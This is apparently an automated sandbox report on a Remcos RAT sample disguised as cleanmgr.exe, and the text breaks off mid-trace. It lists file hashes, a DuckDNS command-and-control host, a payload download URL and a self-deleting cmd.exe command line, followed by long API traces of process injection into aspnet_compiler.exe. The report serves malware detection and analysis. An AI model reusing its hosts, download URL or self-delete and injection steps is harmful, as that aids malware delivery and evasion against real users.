popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

cleanmgr.exe

Backdoor RemcosRAT info stealer browser Chrome Downloader Confuser .NET Google User Data ScreenShot Create Service KeyLogger Internet API Socket Escalate priviledges DNS PWS Sniff Audio AntiDebug .NET EXE PE64 PE File AntiVM PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 26, 2023, 2:26 p.m. June 26, 2023, 2:28 p.m.
Size 14.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 f503da8eee4e7cd822239110b488b08b
SHA256 7874d15ca173ee419b69c1ac2cae4eb6f158a8c1285b9bff7e59af840bed251e
CRC32 816C7720
ssdeep 384:N6P1J3MxbGglqBcpnHp//UeUB7Eb2eqJT:N6dkQBcLSB7Eb21t
PDB Path C:\Users\Administrator\Documents\CryptoObfuscator_Output\BHHHG66.pdb
Yara
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature

Name Response Post-Analysis Lookup
pekonomiana.duckdns.org
A 134.19.179.211
134.19.179.211
IP Address Status Action
134.19.179.211 Active Moloch
164.124.101.2 Active Moloch
84.54.50.31 Active Moloch

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Y
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
pdb_path C:\Users\Administrator\Documents\CryptoObfuscator_Output\BHHHG66.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://84.54.50.31/D/YY.exe
domain pekonomiana.duckdns.org
request GET http://84.54.50.31/D/YY.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00860000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 1376256
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b60000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00415000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0041b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00417000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00406000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00407000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000c90000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef423b000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002660000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000027f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ba4000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9442a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9443c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94550000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94551000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94552000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description YY.exe tried to sleep 187 seconds, actually delayed analysis time by 187 seconds
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
cmdline cmd.exe /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
cmdline "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
file C:\Users\test22\AppData\Local\Temp\cleanmgr.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd.exe
parameters: /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
filepath: cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Win Backdoor RemcosRAT rule Win_Backdoor_RemcosRAT
description Communications over RAW Socket rule Network_TCP_Socket
description File Downloader rule Network_Downloader
description Communications use DNS rule Network_DNS
description browser info stealer rule infoStealer_browser_Zero
description Escalate priviledges rule Escalate_priviledges
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Take ScreenShot rule ScreenShot
description Win.Trojan.agentTesla rule Win_Trojan_agentTesla_Zero
description Match Windows Inet API call rule Str_Win32_Internet_API
description Google Chrome User Data Check rule Chrome_User_Data_Check_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Run a KeyLogger rule KeyLogger
cmdline cmd.exe /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
cmdline "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
host 84.54.50.31
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 528384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000000000000021c
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: €ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ “    ŒÅEÈEŠÅE..€G\G\G\G\G\G\G\G\G\G„G`G`G`G`G`G`G`GˆGÿÿÿÿÈE¨G¨G¨G¨G¨GˆGËEÌEØÚEèG€GCPSTPDT°GðGÿÿÿÿÿÿÿÿÿÿÿÿ€ ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ€Gþÿÿÿþÿÿÿu˜Ï!­tåša¾Œe¸‘¢z»Œ^ž âȨ3œ¶F¦<A ¶FL?A¶Fk<A”†E.?AVtype_info@@”†E.?AVbad_alloc@std@@”†E.?AVbad_array_new_length@std@@”†E.?AVlogic_error@std@@”†E.?AVlength_error@std@@”†E.?AVout_of_range@std@@”†E.?AV_Facet_base@std@@”†E.?AV_Locimp@locale@std@@”†E.?AVfacet@locale@std@@”†E.?AU_Crt_new_delete@std@@”†E.?AVcodecvt_base@std@@”†E.?AUctype_base@std@@”†E.?AV?$ctype@D@std@@”†E.?AV?$codecvt@DDU_Mbstatet@@@std@@”†E.?AVbad_exception@std@@”†E.H”†E.?AVfailure@ios_base@std@@”†E.?AVruntime_error@std@@”†E.?AVsystem_error@std@@”†E.?AVbad_cast@std@@”†E.?AV_System_error@std@@”†E.?AVexception@std@@
base_address: 0x0000000000470000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: €
base_address: 0x0000000000476000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: Ò*·*‡>,/F/‡>”/‡>)߇>Úáˋu‹úqÎq‹/.êêÌGtG‡>‡>|r{N//ßþ&ùõƒL˜ù˜ù°onr€°X±¡Õn5w Ĩ U|Àq0¤R¼Z b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` Ÿž†…¢†…§µ¶³´±²¯°†…¸ Ÿ†… Y
base_address: 0x0000000000477000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000000007efde008
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0
Process injection Process 2712 resumed a thread in remote process 2672
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000015c
suspend_count: 1
process_identifier: 2672
1 0 0
dead_host 134.19.179.211:30491
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2556
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2556
1 0 0

NtResumeThread

 thread_handle: 0x00000178
suspend_count: 1
process_identifier: 2556
1 0 0

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 2556
1 0 0

NtResumeThread

 thread_handle: 0x0000038c
suspend_count: 1
process_identifier: 2556
1 0 0

CreateProcessInternalW

 thread_identifier: 2716
thread_handle: 0x000004fc
process_identifier: 2712
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
track: 1
command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe"
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\YY.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000504
1 1 0

NtResumeThread

 thread_handle: 0x00000498
suspend_count: 1
process_identifier: 2556
1 0 0

CreateProcessInternalW

 thread_identifier: 2760
thread_handle: 0x00000524
process_identifier: 2756
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 1 & Del "C:\Users\test22\AppData\Local\Temp\cleanmgr.exe"
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000538
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e0
suspend_count: 1
process_identifier: 2712
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001f4
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x000000000000020c
suspend_count: 1
process_identifier: 2712
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2712
1 0 0

NtGetContextThread

 thread_handle: 0x0000000000000138
1 0 0

NtGetContextThread

 thread_handle: 0x0000000000000138
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2712
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001e0
suspend_count: 1
process_identifier: 2712
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2712
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtGetContextThread

 thread_handle: 0x00000000000000cc
1 0 0

NtResumeThread

 thread_handle: 0x00000000000000cc
suspend_count: 1
process_identifier: 2712
1 0 0

CreateProcessInternalW

 thread_identifier: 2668
thread_handle: 0x000000000000015c
process_identifier: 2672
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
track: 1
command_line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000000000000021c
1 1 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 528384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000000000000021c
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ì !¨ier¨ier¨ierõ”r»ierõ–rierõ—r¶ier¡ár©ier6É¢rªier7fs²ier7`s’ier7asŠier¡ör±ier¨idršher7lsÊier7šr©ier7gs©ierRich¨ierPELzïldà br9€@€Þ€ÐJÐ; Â84ÃØÂ@€Ì.textë`b `.rdata x€zf@@.data”\à@À.tls `î@À.gfids0pð@@.rsrcÐJ€Lô@@.reloc;Ð<@@B
base_address: 0x0000000000400000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000401000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000458000
process_identifier: 2672
process_handle: 0x000000000000021c
1 1 0

WriteProcessMemory

